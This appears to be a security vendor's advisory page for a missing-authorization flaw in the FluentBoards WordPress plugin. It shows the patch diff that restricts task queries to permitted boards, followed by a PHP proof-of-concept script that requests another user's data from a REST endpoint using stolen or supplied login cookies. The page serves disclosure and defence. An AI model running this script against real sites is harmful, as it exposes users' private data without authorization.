+$router->prefix('contacts/{board_id}')->withPolicy('SingleBoardPolicy')->group(function ($router) {
+    $router->get('/', [TaskController::class, 'getAssociatedCrmContacts'])->int('board_id');
+});
+
+// User utility routes
+$router->withPolicy('UserPolicy')->group(function ($router) {
+    $router->get('/quick-search', [OptionsController::class, 'quickSearch']);
+});
+

 $router->prefix('options')->withPolicy('AuthPolicy')->group(function ($router) {
-    $router->get('members', 'OptionsController@getBoardMembers');
-    $router->get('projects', 'OptionsController@getBoards');
+    $router->get('members', [OptionsController::class, 'getBoardMembers']);
+    $router->get('projects', [OptionsController::class, 'getBoards']);
 });
--- a/fluent-boards/app/Services/BoardService.php
+++ b/fluent-boards/app/Services/BoardService.php
@@ -797,7 +797,6 @@

     public function getAssociatedBoards($associatedId)
     {
-
         $boardIds = Meta::query()->where('value', $associatedId)
             ->where('object_type', Constant::OBJECT_TYPE_BOARD)
             ->where('key', Constant::BOARD_ASSOCIATED_CRM_CONTACT)
--- a/fluent-boards/app/Services/PermissionManager.php
+++ b/fluent-boards/app/Services/PermissionManager.php
@@ -247,7 +247,7 @@

     /**
      * Get array of board Ids for logged-in user
-     * @param null $userId
+     * @param int $userId
      * @return array
      */
     public static function getBoardIdsForUser($userId = null, $boardId = null)
@@ -370,4 +370,25 @@
         // Deny access if the user is a viewer only and trying to modify data
         return !($boardPermissions->settings['is_viewer_only'] ?? false);
     }
+
+    public static function userHasBoardCreationPermission($userId = null)
+    {
+        if (!$userId) {
+            $userId = get_current_user_id();
+            if (!$userId) {
+                return false;
+            }
+        }
+
+        $iAdmin = static::isAdmin($userId);
+
+        // currently only wp-admin or fluent-boards-admin can create boards //
+
+        // use this filter to add custom permission check for board creation
+        // @param bool $iAdmin
+        // @param int $userId
+        // @return bool
+        // @since 1.91.1
+        return apply_filters('fluent_boards/can_create_board', $iAdmin, $userId);
+    }
 }
--- a/fluent-boards/app/Services/TaskService.php
+++ b/fluent-boards/app/Services/TaskService.php
@@ -993,7 +993,7 @@
     public function getLastOneMinuteUpdatedTasks($boardId, $lastUpdated = null)
     {
         if (!$lastUpdated) {
-            $lastUpdated = gmdate('Y-m-d H:i:s', current_time('timestamp') - 60);
+            $lastUpdated = gmdate('Y-m-d H:i:s', current_time('timestamp') - 60); // 1 minute ago
         }

         $tasks = Task::query()
@@ -1001,7 +1001,7 @@
                 'board_id'  => $boardId,
                 'parent_id' => null,
             ])
-            ->where('updated_at', '>', $lastUpdated)
+            ->where('updated_at', '>', $lastUpdated) // updated in the last minute
             ->with(['assignees', 'labels', 'watchers', 'taskCustomFields'])
             ->orderBy('due_at', 'ASC')
             ->get();
--- a/fluent-boards/app/Services/UserService.php
+++ b/fluent-boards/app/Services/UserService.php
@@ -224,7 +224,11 @@
         $page = $requestData['page'] ?? 1;
         $user = User::find($user_id);

-        if (!$user) {
+        $loggedInUserId = get_current_user_id();
+
+        $allowedBoardIds = PermissionManager::getBoardIdsForUser($loggedInUserId);
+
+        if (!$user || empty($allowedBoardIds)) {
             return [
                 'tasks' => [],
                 'paginationInfo' => [
@@ -236,25 +240,29 @@
         }

         if($taskType == 'assigned') {
-            $tasksQuery = $user->assignedTasks()->with(['stage', 'board'])->whereNull('archived_at')->whereNull('parent_id');
+            $tasksQuery = $user->assignedTasks()->with(['stage', 'board'])->whereNull('archived_at')->whereNull('parent_id')->whereIn('board_id', $allowedBoardIds);
         } else if($taskType == 'mentioned') {
-            $tasksQuery = $user->mentionedTasks()->with(['stage', 'board'])->whereNull('archived_at')->whereNull('parent_id');
+            $tasksQuery = $user->mentionedTasks()->with(['stage', 'board'])->whereNull('archived_at')->whereNull('parent_id')->whereIn('board_id', $allowedBoardIds);
         } else {
             // Get the task assigned to the user
-        $tasksQuery = $user->tasks()->with(['stage', 'board'])->whereNull('archived_at');
+        $tasksQuery = $user->tasks()->with(['stage', 'board'])->whereNull('archived_at') ->whereIn('board_id', $allowedBoardIds);

         switch ($taskType) {
             case 'upcoming':
-                $tasksQuery->upcoming();
+                $tasksQuery->upcoming()
+                ->whereIn('board_id', $allowedBoardIds);
                 break;
             case 'overdue':
-                $tasksQuery->overdue();
+                $tasksQuery->overdue()
+                ->whereIn('board_id', $allowedBoardIds);
                 break;
             case 'completed':
-                $tasksQuery->where('status', 'closed');
+                $tasksQuery->where('status', 'closed')
+                ->whereIn('board_id', $allowedBoardIds);
                 break;
             default:
-                $tasksQuery->whereNull('due_at');
+                $tasksQuery->whereNull('due_at')
+                ->whereIn('board_id', $allowedBoardIds);
                 break;
         }
         }
--- a/fluent-boards/fluent-boards.php
+++ b/fluent-boards/fluent-boards.php
@@ -5,7 +5,7 @@
 /*
 Plugin Name: Fluent Boards - Project Management Tool
 Description: Fluent Boards is a powerful tool designed for efficient management of to-do lists, projects, and tasks with kanban board and more..
-Version: 1.91.1
+Version: 1.91.2
 Author: WPManageNinja
 Author URI: https://fluentboards.com
 Plugin URI: https://fluentboards.com
@@ -20,12 +20,12 @@
 }

 define('FLUENT_BOARDS', 'fluent-boards');
-define('FLUENT_BOARDS_PLUGIN_VERSION', '1.91.1');
+define('FLUENT_BOARDS_PLUGIN_VERSION', '1.91.2');
 define('FLUENT_BOARDS_PLUGIN_PATH', plugin_dir_path(__FILE__));
 define('FLUENT_BOARDS_DIR_FILE', __FILE__);
 define('FLUENT_BOARDS_PLUGIN_URL', plugin_dir_url(__FILE__));
 define('FLUENT_BOARDS_UPLOAD_DIR', 'fluent-boards');
-define('FLUENT_BOARDS_PRO_MIN_VERSION', '1.91');
+define('FLUENT_BOARDS_PRO_MIN_VERSION', '1.91.2');

 define('FLUENT_BOARDS_DB_VERSION', '1.60'); // don't change if sync or db update not required

--- a/fluent-boards/vendor/composer/autoload_classmap.php
+++ b/fluent-boards/vendor/composer/autoload_classmap.php
@@ -7,92 +7,6 @@

 return array(
     'Composer\InstalledVersions' => $vendorDir . '/composer/InstalledVersions.php',
-    'FluentBoards\App\Api\Api' => $baseDir . '/app/Api/Api.php',
-    'FluentBoards\App\Api\Classes\Boards' => $baseDir . '/app/Api/Classes/Boards.php',
-    'FluentBoards\App\Api\Classes\Stages' => $baseDir . '/app/Api/Classes/Stages.php',
-    'FluentBoards\App\Api\Classes\Tasks' => $baseDir . '/app/Api/Classes/Tasks.php',
-    'FluentBoards\App\Api\FBSApi' => $baseDir . '/app/Api/FBSApi.php',
-    'FluentBoards\App\App' => $baseDir . '/app/App.php',
-    'FluentBoards\App\ComposerScript' => $baseDir . '/app/ComposerScript.php',
-    'FluentBoards\App\Hooks\Cli\Commands' => $baseDir . '/app/Hooks/Cli/Commands.php',
-    'FluentBoards\App\Hooks\Handlers\ActivationHandler' => $baseDir . '/app/Hooks/Handlers/ActivationHandler.php',
-    'FluentBoards\App\Hooks\Handlers\ActivityHandler' => $baseDir . '/app/Hooks/Handlers/ActivityHandler.php',
-    'FluentBoards\App\Hooks\Handlers\AdminMenuHandler' => $baseDir . '/app/Hooks/Handlers/AdminMenuHandler.php',
-    'FluentBoards\App\Hooks\Handlers\BoardHandler' => $baseDir . '/app/Hooks/Handlers/BoardHandler.php',
-    'FluentBoards\App\Hooks\Handlers\BoardMenuHandler' => $baseDir . '/app/Hooks/Handlers/BoardMenuHandler.php',
-    'FluentBoards\App\Hooks\Handlers\CPTHandler' => $baseDir . '/app/Hooks/Handlers/CPTHandler.php',
-    'FluentBoards\App\Hooks\Handlers\DeactivationHandler' => $baseDir . '/app/Hooks/Handlers/DeactivationHandler.php',
-    'FluentBoards\App\Hooks\Handlers\ExternalPages' => $baseDir . '/app/Hooks/Handlers/ExternalPages.php',
-    'FluentBoards\App\Hooks\Handlers\FileHandler' => $baseDir . '/app/Hooks/Handlers/FileHandler.php',
-    'FluentBoards\App\Hooks\Handlers\FluentCrmIntegration' => $baseDir . '/app/Hooks/Handlers/FluentCrmIntegration.php',
-    'FluentBoards\App\Hooks\Handlers\NotificationHandler' => $baseDir . '/app/Hooks/Handlers/NotificationHandler.php',
-    'FluentBoards\App\Hooks\Handlers\ScheduleHandler' => $baseDir . '/app/Hooks/Handlers/ScheduleHandler.php',
-    'FluentBoards\App\Hooks\Handlers\TaskHandler' => $baseDir . '/app/Hooks/Handlers/TaskHandler.php',
-    'FluentBoards\App\Hooks\Handlers\UpdateHandler' => $baseDir . '/app/Hooks/Handlers/UpdateHandler.php',
-    'FluentBoards\App\Http\Controllers\BoardController' => $baseDir . '/app/Http/Controllers/BoardController.php',
-    'FluentBoards\App\Http\Controllers\CommentController' => $baseDir . '/app/Http/Controllers/CommentController.php',
-    'FluentBoards\App\Http\Controllers\Controller' => $baseDir . '/app/Http/Controllers/Controller.php',
-    'FluentBoards\App\Http\Controllers\LabelController' => $baseDir . '/app/Http/Controllers/LabelController.php',
-    'FluentBoards\App\Http\Controllers\NotificationController' => $baseDir . '/app/Http/Controllers/NotificationController.php',
-    'FluentBoards\App\Http\Controllers\OptionsController' => $baseDir . '/app/Http/Controllers/OptionsController.php',
-    'FluentBoards\App\Http\Controllers\ReportController' => $baseDir . '/app/Http/Controllers/ReportController.php',
-    'FluentBoards\App\Http\Controllers\StageController' => $baseDir . '/app/Http/Controllers/StageController.php',
-    'FluentBoards\App\Http\Controllers\TaskController' => $baseDir . '/app/Http/Controllers/TaskController.php',
-    'FluentBoards\App\Http\Controllers\UserController' => $baseDir . '/app/Http/Controllers/UserController.php',
-    'FluentBoards\App\Http\Controllers\WebhookController' => $baseDir . '/app/Http/Controllers/WebhookController.php',
-    'FluentBoards\App\Http\Policies\AdminPolicy' => $baseDir . '/app/Http/Policies/AdminPolicy.php',
-    'FluentBoards\App\Http\Policies\AuthPolicy' => $baseDir . '/app/Http/Policies/AuthPolicy.php',
-    'FluentBoards\App\Http\Policies\BasePolicy' => $baseDir . '/app/Http/Policies/BasePolicy.php',
-    'FluentBoards\App\Http\Policies\BoardManagerPolicy' => $baseDir . '/app/Http/Policies/BoardManagerPolicy.php',
-    'FluentBoards\App\Http\Policies\BoardUserPolicy' => $baseDir . '/app/Http/Policies/BoardUserPolicy.php',
-    'FluentBoards\App\Http\Policies\SingleBoardPolicy' => $baseDir . '/app/Http/Policies/SingleBoardPolicy.php',
-    'FluentBoards\App\Http\Policies\TaskPolicy' => $baseDir . '/app/Http/Policies/TaskPolicy.php',
-    'FluentBoards\App\Http\Policies\UserPolicy' => $baseDir . '/app/Http/Policies/UserPolicy.php',
-    'FluentBoards\App\Http\Policies\WebhookPolicy' => $baseDir . '/app/Http/Policies/WebhookPolicy.php',
-    'FluentBoards\App\Http\Requests\UserRequest' => $baseDir . '/app/Http/Requests/UserRequest.php',
-    'FluentBoards\App\Models\Activity' => $baseDir . '/app/Models/Activity.php',
-    'FluentBoards\App\Models\Attachment' => $baseDir . '/app/Models/Attachment.php',
-    'FluentBoards\App\Models\Board' => $baseDir . '/app/Models/Board.php',
-    'FluentBoards\App\Models\BoardTerm' => $baseDir . '/app/Models/BoardTerm.php',
-    'FluentBoards\App\Models\Comment' => $baseDir . '/app/Models/Comment.php',
-    'FluentBoards\App\Models\CommentImage' => $baseDir . '/app/Models/CommentImage.php',
-    'FluentBoards\App\Models\Label' => $baseDir . '/app/Models/Label.php',
-    'FluentBoards\App\Models\Meta' => $baseDir . '/app/Models/Meta.php',
-    'FluentBoards\App\Models\Model' => $baseDir . '/app/Models/Model.php',
-    'FluentBoards\App\Models\Notification' => $baseDir . '/app/Models/Notification.php',
-    'FluentBoards\App\Models\NotificationUser' => $baseDir . '/app/Models/NotificationUser.php',
-    'FluentBoards\App\Models\Relation' => $baseDir . '/app/Models/Relation.php',
-    'FluentBoards\App\Models\Stage' => $baseDir . '/app/Models/Stage.php',
-    'FluentBoards\App\Models\Task' => $baseDir . '/app/Models/Task.php',
-    'FluentBoards\App\Models\TaskImage' => $baseDir . '/app/Models/TaskImage.php',
-    'FluentBoards\App\Models\TaskMeta' => $baseDir . '/app/Models/TaskMeta.php',
-    'FluentBoards\App\Models\Team' => $baseDir . '/app/Models/Team.php',
-    'FluentBoards\App\Models\User' => $baseDir . '/app/Models/User.php',
-    'FluentBoards\App\Models\Webhook' => $baseDir . '/app/Models/Webhook.php',
-    'FluentBoards\App\Services\BoardService' => $baseDir . '/app/Services/BoardService.php',
-    'FluentBoards\App\Services\CommentService' => $baseDir . '/app/Services/CommentService.php',
-    'FluentBoards\App\Services\Constant' => $baseDir . '/app/Services/Constant.php',
-    'FluentBoards\App\Services\Helper' => $baseDir . '/app/Services/Helper.php',
-    'FluentBoards\App\Services\InstallService' => $baseDir . '/app/Services/InstallService.php',
-    'FluentBoards\App\Services\Intergrations\FluentCRM\Automations\ContactAddedBoardTrigger' => $baseDir . '/app/Services/Intergrations/FluentCRM/Automations/ContactAddedBoardTrigger.php',
-    'FluentBoards\App\Services\Intergrations\FluentCRM\Automations\ContactAddedTaskTrigger' => $baseDir . '/app/Services/Intergrations/FluentCRM/Automations/ContactAddedTaskTrigger.php',
-    'FluentBoards\App\Services\Intergrations\FluentCRM\Automations\StageChangedTrigger' => $baseDir . '/app/Services/Intergrations/FluentCRM/Automations/StageChangedTrigger.php',
-    'FluentBoards\App\Services\Intergrations\FluentCRM\Automations\TaskCreateAction' => $baseDir . '/app/Services/Intergrations/FluentCRM/Automations/TaskCreateAction.php',
-    'FluentBoards\App\Services\Intergrations\FluentCRM\DeepIntegration' => $baseDir . '/app/Services/Intergrations/FluentCRM/DeepIntegration.php',
-    'FluentBoards\App\Services\Intergrations\FluentCRM\Init' => $baseDir . '/app/Services/Intergrations/FluentCRM/Init.php',
-    'FluentBoards\App\Services\Intergrations\FluentFormIntegration\Bootstrap' => $baseDir . '/app/Services/Intergrations/FluentFormIntegration/Bootstrap.php',
-    'FluentBoards\App\Services\LabelService' => $baseDir . '/app/Services/LabelService.php',
-    'FluentBoards\App\Services\Libs\FileSystem' => $baseDir . '/app/Services/Libs/FileSystem.php',
-    'FluentBoards\App\Services\Libs\Mailer' => $baseDir . '/app/Services/Libs/Mailer.php',
-    'FluentBoards\App\Services\NotificationService' => $baseDir . '/app/Services/NotificationService.php',
-    'FluentBoards\App\Services\OptionService' => $baseDir . '/app/Services/OptionService.php',
-    'FluentBoards\App\Services\PermissionManager' => $baseDir . '/app/Services/PermissionManager.php',
-    'FluentBoards\App\Services\Sanitize' => $baseDir . '/app/Services/Sanitize.php',
-    'FluentBoards\App\Services\StageService' => $baseDir . '/app/Services/StageService.php',
-    'FluentBoards\App\Services\TaskService' => $baseDir . '/app/Services/TaskService.php',
-    'FluentBoards\App\Services\TransStrings' => $baseDir . '/app/Services/TransStrings.php',
-    'FluentBoards\App\Services\UploadService' => $baseDir . '/app/Services/UploadService.php',
-    'FluentBoards\App\Services\UserService' => $baseDir . '/app/Services/UserService.php',
     'FluentBoards\Database\DBMigrator' => $baseDir . '/database/DBMigrator.php',
     'FluentBoards\Database\DBSeeder' => $baseDir . '/database/DBSeeder.php',
     'FluentBoards\Database\Migrations\ActivityMigrator' => $baseDir . '/database/Migrations/ActivityMigrator.php',
@@ -107,225 +21,4 @@
     'FluentBoards\Database\Migrations\TaskMetaMigrator' => $baseDir . '/database/Migrations/TaskMetaMigrator.php',
     'FluentBoards\Database\Migrations\TaskMigrator' => $baseDir . '/database/Migrations/TaskMigrator.php',
     'FluentBoards\Database\Migrations\TeamMigrator' => $baseDir . '/database/Migrations/TeamMigrator.php',
-    'FluentBoards\Framework\Cache\Cache' => $vendorDir . '/wpfluent/framework/src/WPFluent/Cache/Cache.php',
-    'FluentBoards\Framework\Container\BoundMethod' => $vendorDir . '/wpfluent/framework/src/WPFluent/Container/BoundMethod.php',
-    'FluentBoards\Framework\Container\Container' => $vendorDir . '/wpfluent/framework/src/WPFluent/Container/Container.php',
-    'FluentBoards\Framework\Container\ContextualBindingBuilder' => $vendorDir . '/wpfluent/framework/src/WPFluent/Container/ContextualBindingBuilder.php',
-    'FluentBoards\Framework\Container\Contracts\BindingResolutionException' => $vendorDir . '/wpfluent/framework/src/WPFluent/Container/Contracts/BindingResolutionException.php',
-    'FluentBoards\Framework\Container\Contracts\CircularDependencyException' => $vendorDir . '/wpfluent/framework/src/WPFluent/Container/Contracts/CircularDependencyException.php',
-    'FluentBoards\Framework\Container\Contracts\Container' => $vendorDir . '/wpfluent/framework/src/WPFluent/Container/Contracts/Container.php',
-    'FluentBoards\Framework\Container\Contracts\ContextualBindingBuilder' => $vendorDir . '/wpfluent/framework/src/WPFluent/Container/Contracts/ContextualBindingBuilder.php',
-    'FluentBoards\Framework\Container\Contracts\Psr\ContainerExceptionInterface' => $vendorDir . '/wpfluent/framework/src/WPFluent/Container/Contracts/Psr/ContainerExceptionInterface.php',
-    'FluentBoards\Framework\Container\Contracts\Psr\ContainerInterface' => $vendorDir . '/wpfluent/framework/src/WPFluent/Container/Contracts/Psr/ContainerInterface.php',
-    'FluentBoards\Framework\Container\Contracts\Psr\NotFoundExceptionInterface' => $vendorDir . '/wpfluent/framework/src/WPFluent/Container/Contracts/Psr/NotFoundExceptionInterface.php',
-    'FluentBoards\Framework\Container\EntryNotFoundException' => $vendorDir . '/wpfluent/framework/src/WPFluent/Container/EntryNotFoundException.php',
-    'FluentBoards\Framework\Container\RewindableGenerator' => $vendorDir . '/wpfluent/framework/src/WPFluent/Container/RewindableGenerator.php',
-    'FluentBoards\Framework\Container\Util' => $vendorDir . '/wpfluent/framework/src/WPFluent/Container/Util.php',
-    'FluentBoards\Framework\Database\BaseGrammar' => $vendorDir . '/wpfluent/framework/src/WPFluent/Database/BaseGrammar.php',
-    'FluentBoards\Framework\Database\ClassMorphViolationException' => $vendorDir . '/wpfluent/framework/src/WPFluent/Database/ClassMorphViolationException.php',
-    'FluentBoards\Framework\Database\Concerns\BuildsQueries' => $vendorDir . '/wpfluent/framework/src/WPFluent/Database/Concerns/BuildsQueries.php',
-    'FluentBoards\Framework\Database\Concerns\CompilesJsonPaths' => $vendorDir . '/wpfluent/framework/src/WPFluent/Database/Concerns/CompilesJsonPaths.php',
-    'FluentBoards\Framework\Database\Concerns\ExplainsQueries' => $vendorDir . '/wpfluent/framework/src/WPFluent/Database/Concerns/ExplainsQueries.php',
-    'FluentBoards\Framework\Database\Concerns\MaintainsDatabase' => $vendorDir . '/wpfluent/framework/src/WPFluent/Database/Concerns/MaintainsDatabase.php',
-    'FluentBoards\Framework\Database\ConnectionInterface' => $vendorDir . '/wpfluent/framework/src/WPFluent/Database/ConnectionInterface.php',
-    'FluentBoards\Framework\Database\ConnectionResolver' => $vendorDir . '/wpfluent/framework/src/WPFluent/Database/ConnectionResolver.php',
-    'FluentBoards\Framework\Database\ConnectionResolverInterface' => $vendorDir . '/wpfluent/framework/src/WPFluent/Database/ConnectionResolverInterface.php',
-    'FluentBoards\Framework\Database\DBManager' => $vendorDir . '/wpfluent/framework/src/WPFluent/Database/DBManager.php',
-    'FluentBoards\Framework\Database\Events\QueryExecuted' => $vendorDir . '/wpfluent/framework/src/WPFluent/Database/Events/QueryExecuted.php',
-    'FluentBoards\Framework\Database\LazyLoadingViolationException' => $vendorDir . '/wpfluent/framework/src/WPFluent/Database/LazyLoadingViolationException.php',
-    'FluentBoards\Framework\Database\MultipleColumnsSelectedException' => $vendorDir . '/wpfluent/framework/src/WPFluent/Database/MultipleColumnsSelectedException.php',
-    'FluentBoards\Framework\Database\MultipleRecordsFoundException' => $vendorDir . '/wpfluent/framework/src/WPFluent/Database/MultipleRecordsFoundException.php',
-    'FluentBoards\Framework\Database\Orm\Builder' => $vendorDir . '/wpfluent/framework/src/WPFluent/Database/Orm/Builder.php',
-    'FluentBoards\Framework\Database\Orm\Castable' => $vendorDir . '/wpfluent/framework/src/WPFluent/Database/Orm/Castable.php',
-    'FluentBoards\Framework\Database\Orm\CastsAttributes' => $vendorDir . '/wpfluent/framework/src/WPFluent/Database/Orm/CastsAttributes.php',
-    'FluentBoards\Framework\Database\Orm\CastsInboundAttributes' => $vendorDir . '/wpfluent/framework/src/WPFluent/Database/Orm/CastsInboundAttributes.php',
-    'FluentBoards\Framework\Database\Orm\Casts\ArrayObject' => $vendorDir . '/wpfluent/framework/src/WPFluent/Database/Orm/Casts/ArrayObject.php',
-    'FluentBoards\Framework\Database\Orm\Casts\AsArrayObject' => $vendorDir . '/wpfluent/framework/src/WPFluent/Database/Orm/Casts/AsArrayObject.php',
-    'FluentBoards\Framework\Database\Orm\Casts\AsCollection' => $vendorDir . '/wpfluent/framework/src/WPFluent/Database/Orm/Casts/AsCollection.php',
-    'FluentBoards\Framework\Database\Orm\Casts\AsEncryptedArrayObject' => $vendorDir . '/wpfluent/framework/src/WPFluent/Database/Orm/Casts/AsEncryptedArrayObject.php',
-    'FluentBoards\Framework\Database\Orm\Casts\AsEncryptedCollection' => $vendorDir . '/wpfluent/framework/src/WPFluent/Database/Orm/Casts/AsEncryptedCollection.php',
-    'FluentBoards\Framework\Database\Orm\Casts\AsStringable' => $vendorDir . '/wpfluent/framework/src/WPFluent/Database/Orm/Casts/AsStringable.php',
-    'FluentBoards\Framework\Database\Orm\Casts\Attribute' => $vendorDir . '/wpfluent/framework/src/WPFluent/Database/Orm/Casts/Attribute.php',
-    'FluentBoards\Framework\Database\Orm\Casts\Json' => $vendorDir . '/wpfluent/framework/src/WPFluent/Database/Orm/Casts/Json.php',
-    'FluentBoards\Framework\Database\Orm\Collection' => $vendorDir . '/wpfluent/framework/src/WPFluent/Database/Orm/Collection.php',
-    'FluentBoards\Framework\Database\Orm\Concerns\GuardsAttributes' => $vendorDir . '/wpfluent/framework/src/WPFluent/Database/Orm/Concerns/GuardsAttributes.php',
-    'FluentBoards\Framework\Database\Orm\Concerns\HasAttributes' => $vendorDir . '/wpfluent/framework/src/WPFluent/Database/Orm/Concerns/HasAttributes.php',
-    'FluentBoards\Framework\Database\Orm\Concerns\HasEvents' => $vendorDir . '/wpfluent/framework/src/WPFluent/Database/Orm/Concerns/HasEvents.php',
-    'FluentBoards\Framework\Database\Orm\Concerns\HasGlobalScopes' => $vendorDir . '/wpfluent/framework/src/WPFluent/Database/Orm/Concerns/HasGlobalScopes.php',
-    'FluentBoards\Framework\Database\Orm\Concerns\HasRelationships' => $vendorDir . '/wpfluent/framework/src/WPFluent/Database/Orm/Concerns/HasRelationships.php',
-    'FluentBoards\Framework\Database\Orm\Concerns\HasTimestamps' => $vendorDir . '/wpfluent/framework/src/WPFluent/Database/Orm/Concerns/HasTimestamps.php',
-    'FluentBoards\Framework\Database\Orm\Concerns\HasUniqueIds' => $vendorDir . '/wpfluent/framework/src/WPFluent/Database/Orm/Concerns/HasUniqueIds.php',
-    'FluentBoards\Framework\Database\Orm\Concerns\HidesAttributes' => $vendorDir . '/wpfluent/framework/src/WPFluent/Database/Orm/Concerns/HidesAttributes.php',
-    'FluentBoards\Framework\Database\Orm\Concerns\QueriesRelationships' => $vendorDir . '/wpfluent/framework/src/WPFluent/Database/Orm/Concerns/QueriesRelationships.php',
-    'FluentBoards\Framework\Database\Orm\HasCollection' => $vendorDir . '/wpfluent/framework/src/WPFluent/Database/Orm/HasCollection.php',
-    'FluentBoards\Framework\Database\Orm\HigherOrderBuilderProxy' => $vendorDir . '/wpfluent/framework/src/WPFluent/Database/Orm/HigherOrderBuilderProxy.php',
-    'FluentBoards\Framework\Database\Orm\InvalidCastException' => $vendorDir . '/wpfluent/framework/src/WPFluent/Database/Orm/InvalidCastException.php',
-    'FluentBoards\Framework\Database\Orm\JsonEncodingException' => $vendorDir . '/wpfluent/framework/src/WPFluent/Database/Orm/JsonEncodingException.php',
-    'FluentBoards\Framework\Database\Orm\MassAssignmentException' => $vendorDir . '/wpfluent/framework/src/WPFluent/Database/Orm/MassAssignmentException.php',
-    'FluentBoards\Framework\Database\Orm\MissingAttributeException' => $vendorDir . '/wpfluent/framework/src/WPFluent/Database/Orm/MissingAttributeException.php',
-    'FluentBoards\Framework\Database\Orm\Model' => $vendorDir . '/wpfluent/framework/src/WPFluent/Database/Orm/Model.php',
-    'FluentBoards\Framework\Database\Orm\ModelNotFoundException' => $vendorDir . '/wpfluent/framework/src/WPFluent/Database/Orm/ModelNotFoundException.php',
-    'FluentBoards\Framework\Database\Orm\PendingHasThroughRelationship' => $vendorDir . '/wpfluent/framework/src/WPFluent/Database/Orm/PendingHasThroughRelationship.php',
-    'FluentBoards\Framework\Database\Orm\RelationNotFoundException' => $vendorDir . '/wpfluent/framework/src/WPFluent/Database/Orm/RelationNotFoundException.php',
-    'FluentBoards\Framework\Database\Orm\Relations\BelongsTo' => $vendorDir . '/wp

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-24561 - FluentBoards <= 1.91.1 - Missing Authorization

<?php
/**
 * Proof of Concept for CVE-2026-24561
 * Demonstrates unauthorized access to user information in FluentBoards plugin
 * Requires valid WordPress authentication cookies
 */

$target_url = 'https://vulnerable-site.com';
$user_id_to_query = 1; // Target user ID (e.g., administrator)

// Set your WordPress authentication cookies here
$cookies = [
    'wordpress_logged_in_xxxx' => 'your_cookie_value_here',
    'wordpress_sec_xxxx' => 'your_secure_cookie_value_here'
];

// Build cookie string for cURL
$cookie_string = '';
foreach ($cookies as $name => $value) {
    $cookie_string .= $name . '=' . $value . '; ';
}

// Initialize cURL session
$ch = curl_init();

// Target the vulnerable endpoint
$endpoint = $target_url . '/wp-json/fluent-boards/v2/member-associated-users/' . $user_id_to_query;

curl_setopt_array($ch, [
    CURLOPT_URL => $endpoint,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIE => trim($cookie_string),
    CURLOPT_HTTPHEADER => [
        'User-Agent: Atomic Edge Research PoC',
        'Accept: application/json'
    ],
    CURLOPT_SSL_VERIFYPEER => false, // Disable for testing only
    CURLOPT_SSL_VERIFYHOST => 0
]);

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Check response
if ($http_code === 200) {
    echo "[+] SUCCESS: Unauthorized access to user datan";
    echo "[+] HTTP Status: $http_coden";
    echo "[+] Response: " . $response . "n";
    
    // Parse and display user information
    $data = json_decode($response, true);
    if (isset($data['user'])) {
        echo "[+] Retrieved user data:n";
        print_r($data['user']);
    }
} else {
    echo "[-] FAILED: HTTP Status $http_coden";
    echo "[-] Response: " . $response . "n";
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School